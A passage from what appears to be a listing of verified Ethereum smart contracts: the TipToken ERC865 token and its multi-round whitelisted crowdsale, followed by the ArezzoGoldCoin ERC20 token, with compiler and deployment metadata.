_addedValue, uint256 _fee, uint256 _nonce ) public returns (bool) { require(_spender != address(0)); require(!nonces[_signature]); bytes32 hashedTx = increaseApprovalPreSignedHashing(address(this), _spender, _addedValue, _fee, _nonce); address from = recover(hashedTx, _signature); require(from != address(0)); nonces[_signature] = true; allowed[from][_spender] = allowed[from][_spender].add(_addedValue); balances[from] = balances[from].sub(_fee); balances[msg.sender] = balances[msg.sender].add(_fee); emit Approval(from, _spender, allowed[from][_spender]); emit Transfer(from, msg.sender, _fee); emit ApprovalPreSigned(from, _spender, msg.sender, allowed[from][_spender], _fee); return true; } /** * @notice Decrease the amount of tokens that an owner allowed to a spender. * @param _signature bytes The signature, issued by the owner * @param _spender address The address which will spend the funds. * @param _subtractedValue uint256 The amount of tokens to decrease the allowance by. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. */ function decreaseApprovalPreSigned( bytes _signature, address _spender, uint256 _subtractedValue, uint256 _fee, uint256 _nonce ) public returns (bool) { require(_spender != address(0)); require(!nonces[_signature]); bytes32 hashedTx = decreaseApprovalPreSignedHashing(address(this), _spender, _subtractedValue, _fee, _nonce); address from = recover(hashedTx, _signature); require(from != address(0)); nonces[_signature] = true; uint oldValue = allowed[from][_spender]; if (_subtractedValue > oldValue) { allowed[from][_spender] = 0; } else { allowed[from][_spender] = oldValue.sub(_subtractedValue); } balances[from] = balances[from].sub(_fee); balances[msg.sender] = balances[msg.sender].add(_fee); emit Approval(from, _spender, _subtractedValue); emit Transfer(from, msg.sender, _fee); emit ApprovalPreSigned(from, _spender, msg.sender, allowed[from][_spender], _fee); return true; } /** * @notice Transfer tokens from one address to another * @param _signature bytes The signature, issued by the spender. * @param _from address The address which you want to send tokens from. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * @param _fee uint256 The amount of tokens paid to msg.sender, by the spender. * @param _nonce uint256 Presigned transaction number. */ function transferFromPreSigned( bytes _signature, address _from, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public returns (bool) { require(_to != address(0)); require(!nonces[_signature]); bytes32 hashedTx = transferFromPreSignedHashing(address(this), _from, _to, _value, _fee, _nonce); address spender = recover(hashedTx, _signature); require(spender != address(0)); nonces[_signature] = true; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][spender] = allowed[_from][spender].sub(_value); balances[spender] = balances[spender].sub(_fee); balances[msg.sender] = balances[msg.sender].add(_fee); nonces[_signature] = true; emit Transfer(_from, _to, _value); emit Transfer(spender, msg.sender, _fee); return true; } /** * Revote previously approved signature * @param _signature bytes The signature to revoke * @return bool Returns true if revocation was successful */ function revokeSignature(bytes _signature) public returns (bool) { require(!nonces[_signature]); nonces[_signature] = true; emit SignatureRevoked(_signature, msg.sender); return true; } /** * @notice Hash (keccak256) of the payload used by transferPreSigned * @param _token address The address of the token. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. */ function transferPreSignedHashing( address _token, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public pure returns (bytes32) { /* "48664c16": transferPreSignedHashing(address,address,address,uint256,uint256,uint256) */ return keccak256(bytes4(0x48664c16), _token, _to, _value, _fee, _nonce); } /** * @notice Hash (keccak256) of the payload used by approvePreSigned * @param _token address The address of the token * @param _spender address The address which will spend the funds. * @param _value uint256 The amount of tokens to allow. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. */ function approvePreSignedHashing( address _token, address _spender, uint256 _value, uint256 _fee, uint256 _nonce ) public pure returns (bytes32) { /* "f7ac9c2e": approvePreSignedHashing(address,address,uint256,uint256,uint256) */ return keccak256(bytes4(0xf7ac9c2e), _token, _spender, _value, _fee, _nonce); } /** * @notice Hash (keccak256) of the payload used by increaseApprovalPreSigned * @param _token address The address of the token * @param _spender address The address which will spend the funds. * @param _addedValue uint256 The amount of tokens to increase the allowance by. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. */ function increaseApprovalPreSignedHashing( address _token, address _spender, uint256 _addedValue, uint256 _fee, uint256 _nonce ) public pure returns (bytes32) { /* "a45f71ff": increaseApprovalPreSignedHashing(address,address,uint256,uint256,uint256) */ return keccak256(bytes4(0xa45f71ff), _token, _spender, _addedValue, _fee, _nonce); } /** * @notice Hash (keccak256) of the payload used by decreaseApprovalPreSigned * @param _token address The address of the token * @param _spender address The address which will spend the funds. * @param _subtractedValue uint256 The amount of tokens to decrease the allowance by. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. */ function decreaseApprovalPreSignedHashing( address _token, address _spender, uint256 _subtractedValue, uint256 _fee, uint256 _nonce ) public pure returns (bytes32) { /* "59388d78": decreaseApprovalPreSignedHashing(address,address,uint256,uint256,uint256) */ return keccak256(bytes4(0x59388d78), _token, _spender, _subtractedValue, _fee, _nonce); } /** * @notice Hash (keccak256) of the payload used by transferFromPreSigned * @param _token address The address of the token * @param _from address The address which you want to send tokens from. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * @param _fee uint256 The amount of tokens paid to msg.sender, by the spender. * @param _nonce uint256 Presigned transaction number. */ function transferFromPreSignedHashing( address _token, address _from, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public pure returns (bytes32) { /* "b7656dc5": transferFromPreSignedHashing(address,address,address,uint256,uint256,uint256) */ return keccak256(bytes4(0xb7656dc5), _token, _from, _to, _value, _fee, _nonce); } /** * @notice Recover signer address from a message by using his signature * @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address. * @param sig bytes signature, the signature is generated using web3.eth.sign() */ function recover(bytes32 hash, bytes sig) public pure returns (address) { bytes32 r; bytes32 s; uint8 v; //Check the signature length if (sig.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } // Version of signature should be 27 or 28, but 0 and 1 are also possible versions if (v < 27) { v += 27; } // If the version is correct return the signer address if (v != 27 && v != 28) { return (address(0)); } else { return ecrecover(hash, v, r, s); } } } contract Pausable is Ownable { event Paused(); event Unpaused(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Paused(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpaused(); } } contract Crowdsale { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei uint256 public rate; // Amount of wei raised uint256 public weiRaised; // Amount of token sold in wei uint256 public tokenWeiSold; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); tokenWeiSold = tokenWeiSold.add(tokens); _processPurchase(_beneficiary, tokens); emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) pure internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Nu mber of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) pure internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } contract AllowanceCrowdsale is Crowdsale { using SafeMath for uint256; address public tokenWallet; /** * @dev Constructor, takes token wallet address. * @param _tokenWallet Address holding the tokens, which has approved allowance to the crowdsale */ constructor(address _tokenWallet) public { require(_tokenWallet != address(0)); tokenWallet = _tokenWallet; } /** * @dev Checks the amount of tokens left in the allowance. * @return Amount of tokens left in the allowance */ function remainingTokens() public view returns (uint256) { return token.allowance(tokenWallet, this); } /** * @dev Overrides parent behavior by transferring tokens from wallet. * @param _beneficiary Token purchaser * @param _tokenAmount Amount of tokens purchased */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transferFrom(tokenWallet, _beneficiary, _tokenAmount); } } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; /** * @dev Constructor, takes maximum amount of wei accepted in the crowdsale. * @param _cap Max amount of wei to be contributed */ constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Checks whether the cap has been reached. * @return Whether the cap was reached */ function capReached() public view returns (bool) { return weiRaised >= cap; } /** * @dev Extend parent behavior requiring purchase to respect the funding cap. * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(weiRaised.add(_weiAmount) <= cap); } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { // solium-disable-next-line security/no-block-members require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param _openingTime Crowdsale opening time * @param _closingTime Crowdsale closing time */ constructor(uint256 _openingTime, uint256 _closingTime) public { // solium-disable-next-line security/no-block-members require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { // solium-disable-next-line security/no-block-members return block.timestamp > closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract WhitelistedCrowdsale is Crowdsale, Administratable { mapping(address => bool) public whitelist; /** * Event for logging adding to whitelist * @param _address the address to add to the whitelist */ event AddedToWhitelist(address indexed _address); /** * Event for logging removing from whitelist * @param _address the address to remove from the whitelist */ event RemovedFromWhitelist(address indexed _address); /** * @dev Reverts if beneficiary is not whitelisted. Can be used when extending this contract. */ modifier isWhitelisted(address _beneficiary) { require(whitelist[_beneficiary]); _; } /** * @dev Adds single address to whitelist. * @param _beneficiary Address to be added to the whitelist */ function addToWhitelist(address _beneficiary) external onlyAdmin { whitelist[_beneficiary] = true; emit AddedToWhitelist(_beneficiary); } /** * @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing. * @param _beneficiaries Addresses to be added to the whitelist */ function addManyToWhitelist(address[] _beneficiaries) external onlyAdmin { for (uint256 i = 0; i < _beneficiaries.length; i++) { whitelist[_beneficiaries[i]] = true; } } /** * @dev Removes single address from whitelist. * @param _beneficiary Address to be removed to the whitelist */ function removeFromWhitelist(address _beneficiary) external onlyAdmin { whitelist[_beneficiary] = false; emit RemovedFromWhitelist(_beneficiary); } /** * @dev Extend parent behavior requiring beneficiary to be in whitelist. * @param _beneficiary Token beneficiary * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract PostDeliveryCrowdsale is TimedCrowdsale, Administratable { using SafeMath for uint256; mapping(address => uint256) public balances; /** * Event for logging when token sale tokens are withdrawn * @param _address the address to withdraw tokens for * @param _amount the amount withdrawn for this address */ event TokensWithdrawn(address indexed _address, uint256 _amount); /** * @dev Withdraw tokens only after crowdsale ends. */ function withdrawTokens(address _beneficiary) public onlyAdmin { require(hasClosed()); uint256 amount = balances[_beneficiary]; require(amount > 0); balances[_beneficiary] = 0; _deliverTokens(_beneficiary, amount); emit TokensWithdrawn(_beneficiary, amount); } /** * @dev Overrides parent by storing balances instead of issuing tokens right away. * @param _beneficiary Token purchaser * @param _tokenAmount Amount of tokens purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount); } function getBalance(address _beneficiary) public returns (uint256) { return balances[_beneficiary]; } } contract MultiRoundCrowdsale is Crowdsale, Ownable { using SafeMath for uint256; struct SaleRound { uint256 start; uint256 end; uint256 rate; uint256 roundCap; uint256 minPurchase; } SaleRound seedRound; SaleRound presale; SaleRound crowdsaleWeek1; SaleRound crowdsaleWeek2; SaleRound crowdsaleWeek3; SaleRound crowdsaleWeek4; bool public saleRoundsSet = false; /** * Sets the parameters for each round. * * Each round is defined by an array, with each field mapping to a field in the SaleRound struct. * The array elements are as follows: * array[0]: start time of the round * array[1]: end time of the round * array[2]: the exchange rate of this round. i.e number of TIP per ETH * array[3]: The cumulative cap of this round * array[4]: Minimum purchase of this round * * @param _seedRound [description] * @param _presale [description] * @param _crowdsaleWeek1 [description] * @param _crowdsaleWeek2 [description] * @param _crowdsaleWeek3 [description] * @param _crowdsaleWeek4 [description] */ function setTokenSaleRounds(uint256[5] _seedRound, uint256[5] _presale, uint256[5] _crowdsaleWeek1, uint256[5] _crowdsaleWeek2, uint256[5] _crowdsaleWeek3, uint256[5] _crowdsaleWeek4) external onlyOwner returns (bool) { // This function can only be called once require(!saleRoundsSet); // Check that each round end time is after the start time require(_seedRound[0] < _seedRound[1]); require(_presale[0] < _presale[1]); require(_crowdsaleWeek1[0] < _crowdsaleWeek1[1]); require(_crowdsaleWeek2[0] < _crowdsaleWeek2[1]); require(_crowdsaleWeek3[0] < _crowdsaleWeek3[1]); require(_crowdsaleWeek4[0] < _crowdsaleWeek4[1]); // Check that each round ends before the next begins require(_seedRound[1] < _presale[0]); require(_presale[1] < _crowdsaleWeek1[0]); require(_crowdsaleWeek1[1] < _crowdsaleWeek2[0]); require(_crowdsaleWeek2[1] < _crowdsaleWeek3[0]); require(_crowdsaleWeek3[1] < _crowdsaleWeek4[0]); seedRound = SaleRound(_seedRound[0], _seedRound[1], _seedRound[2], _seedRound[3], _seedRound[4]); presale = SaleRound(_presale[0], _presale[1], _presale[2], _presale[3], _presale[4]); crowdsaleWeek1 = SaleRound(_crowdsaleWeek1[0], _crowdsaleWeek1[1], _crowdsaleWeek1[2], _crowdsaleWeek1[3], _crowdsaleWeek1[4]); crowdsaleWeek2 = SaleRound(_crowdsaleWeek2[0], _crowdsaleWeek2[1], _crowdsaleWeek2[2], _crowdsaleWeek2[3], _crowdsaleWeek2[4]); crowdsaleWeek3 = SaleRound(_crowdsaleWeek3[0], _crowdsaleWeek3[1], _crowdsaleWeek3[2], _crowdsaleWeek3[3], _crowdsaleWeek3[4]); crowdsaleWeek4 = SaleRound(_crowdsaleWeek4[0], _crowdsaleWeek4[1], _crowdsaleWeek4[2], _crowdsaleWeek4[3], _crowdsaleWeek4[4]); saleRoundsSet = true; return saleRoundsSet; } function getCurrentRound() internal view returns (SaleRound) { require(saleRoundsSet); uint256 currentTime = block.timestamp; if (currentTime > seedRound.start && currentTime <= seedRound.end) { return seedRound; } else if (currentTime > presale.start && currentTime <= presale.end) { return presale; } else if (currentTime > crowdsaleWeek1.start && currentTime <= crowdsaleWeek1.end) { return crowdsaleWeek1; } else if (currentTime > crowdsaleWeek2.start && currentTime <= crowdsaleWeek2.end) { return crowdsaleWeek2; } else if (currentTime > crowdsaleWeek3.start && currentTime <= crowdsaleWeek3.end) { return crowdsaleWeek3; } else if (currentTime > crowdsaleWeek4.start && currentTime <= crowdsaleWeek4.end) { return crowdsaleWeek4; } else { revert(); } } function getCurrentRate() public view returns (uint256) { require(saleRoundsSet); SaleRound memory currentRound = getCurrentRound(); return currentRound.rate; } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { require(_weiAmount != 0); uint256 currentRate = getCurrentRate(); require(currentRate != 0); return currentRate.mul(_weiAmount); } } contract TipToken is ERC865Token, Ownable { using SafeMath for uint256; uint256 public constant TOTAL_SUPPLY = 10 ** 9; string public constant name = "Tip Token"; string public constant symbol = "TIP"; uint8 public constant decimals = 18; mapping (address => string) aliases; mapping (string => address) addresses; /** * Constructor */ constructor() public { _totalSupply = TOTAL_SUPPLY * (10**uint256(decimals)); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } /** * Returns the available supple (total supply minus tokens held by owner) */ function availableSupply() public view returns (uint256) { return _totalSupply.sub(balances[owner]).sub(balances[address(0)]); } /** * Token owner can approve for `spender` to transferFrom(...) `tokens` * from the token owner's account. The `spender` contract function * `receiveApproval(...)` is then executed */ function approveAndCall(address spender, uint256 tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } /** * Don't accept ETH. */ function () public payable { revert(); } /** * Owner can transfer out any accidentally sent ERC20 tokens */ function transferAnyERC20Token(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) { return ERC20(tokenAddress).transfer(owner, tokens); } /** * Sets the alias for the msg.sender's address. * @param alias the alias to attach to an address */ function setAlias(string alias) public { aliases[msg.sender] = alias; addresses[alias] = msg.sender; } } contract TipTokenCrowdsale is MultiRoundCrowdsale, CappedCrowdsale, WhitelistedCrowdsale, AllowanceCrowdsale, PostDeliveryCrowdsale, Pausable { /** * Contract name * String name - the name of the contract */ string public constant name = "Tip Token Crowdsale"; /** * @param _vault Address where collected funds will be forwarded to * @param _tokenWallet Address holding the tokens, which has approved allowance to the crowdsale * @param _cap the maximum number of tokens to be collected in the sale * @param _token Address of the token being sold */ constructor( ERC20 _token, address _tokenWallet, address _vault, uint256 _cap, uint256 _start, uint256 _end, uint256 _baseRate ) public Crowdsale(_baseRate, _vault, _token) CappedCrowdsale(_cap) TimedCrowdsale(_start, _end) PostDeliveryCrowdsale() WhitelistedCrowdsale() AllowanceCrowdsale(_tokenWallet) MultiRoundCrowdsale() { } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal whenNotPaused() { super._preValidatePurchase(_beneficiary, _weiAmount); SaleRound memory currentRound = getCurrentRound(); require(weiRaised.add(_weiAmount) <= currentRound.roundCap); require(balances[_beneficiary].add(_weiAmount) >= currentRound.minPurchase); } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return MultiRoundCrowdsale._getTokenAmount(_weiAmount); } function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { AllowanceCrowdsale._deliverTokens(_beneficiary, _tokenAmount); } }

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v0.4.23+commit.124ca40d

00000000000000000000000059ae863232238a8bd7953bdfc1b4796f8e9a5b4e0000000000000000000000002b73e72c0f00067e1a69c1ff90e6fb391ff3ac620000000000000000000000009e0660bafe5f8c731e0b306528b321bf8aa4d7d20000000000000000000000000000000000000000000009d60f3e615a3e880000000000000000000000000000000000000000000000000000000000005b118298000000000000000000000000000000000000000000000000000000005b77617f0000000000000000000000000000000000000000000000000000000000002710

Default

bzzr://e3d5ba02fa4235007a35c174e65b23085531095d9ef17915f8f308e9336fd897

ArezzoGoldCoin

ArezzoGoldCoin.sol

0x909f84d1902fb8feecd8ebe40f6d29a4ffd90714

Solidity

/** * The Arezzo Gold Coin contract bases on the ERC20 standard token contracts * Author : Gordon T. Asiranawin * Arezzo Gold Coin */ pragma solidity ^0.4.24; /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Standard ERC20 token * * @dev Implemantation of the basic standart token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint value); event MintFinished(); bool public mintingFinished = false; uint public totalSupply = 0; modifier canMint() { if(mintingFinished) throw; _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { if (paused) throw; _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { if (!paused) throw; _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } /** * Pausable token * * Simple ERC20 Token example, with pausable token creation **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint _value) whenNotPaused { super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) whenNotPaused { super.transferFrom(_from, _to, _value); } } /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a time has passed */ contract TokenTimelock { // ERC20 basic token contract being held ERC20Basic token; // beneficiary of tokens after they are released address beneficiary; // timestamp where token release is enabled uint releaseTime; function TokenTimelock(ERC20Basic _token, address _beneficiary, uint _releaseTime) { require(_releaseTime > now); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } /** * @dev beneficiary claims tokens held by time lock */ function claim() { require(msg.sender == beneficiary); require(now >= releaseTime); uint amount = token.balanceOf(this); require(amount > 0); token.transfer(beneficiary, amount); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). * Based on code by OpenZeppelin: https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/BurnableToken.sol */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title ArezzoGoldCoin * @dev ArezzoGoldCoin contract */ contract ArezzoGoldCoin is PausableToken, MintableToken, BurnableToken { using SafeMath for uint256; string public name = "Arezzo Gold Coin"; string public symbol = "AGC"; uint public decimals = 18; /// Maximum tokens to be allocated. uint256 public constant HARD_CAP = 1000000000* 10**uint256(decimals); /* Initial supply is 1,000,000,000 AGC */ /** * @dev mint timelocked tokens */ function mintTimelocked(address _to, uint256 _amount, uint256 _releaseTime) onlyOwner canMint returns (TokenTimelock) { TokenTimelock timelock = new TokenTimelock(this, _to, _releaseTime); mint(timelock, _amount); return timelock; } }

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v0.4.24+commit.e67f0147

Default

bzzr://ad9ad628ae13199465efa34f7bc9b40affd1f123457e3032d80c8453e941853e

BloomCoin

BloomCoin.sol

0x254983c524fff821c81137c9a800056141069e88

Solidity

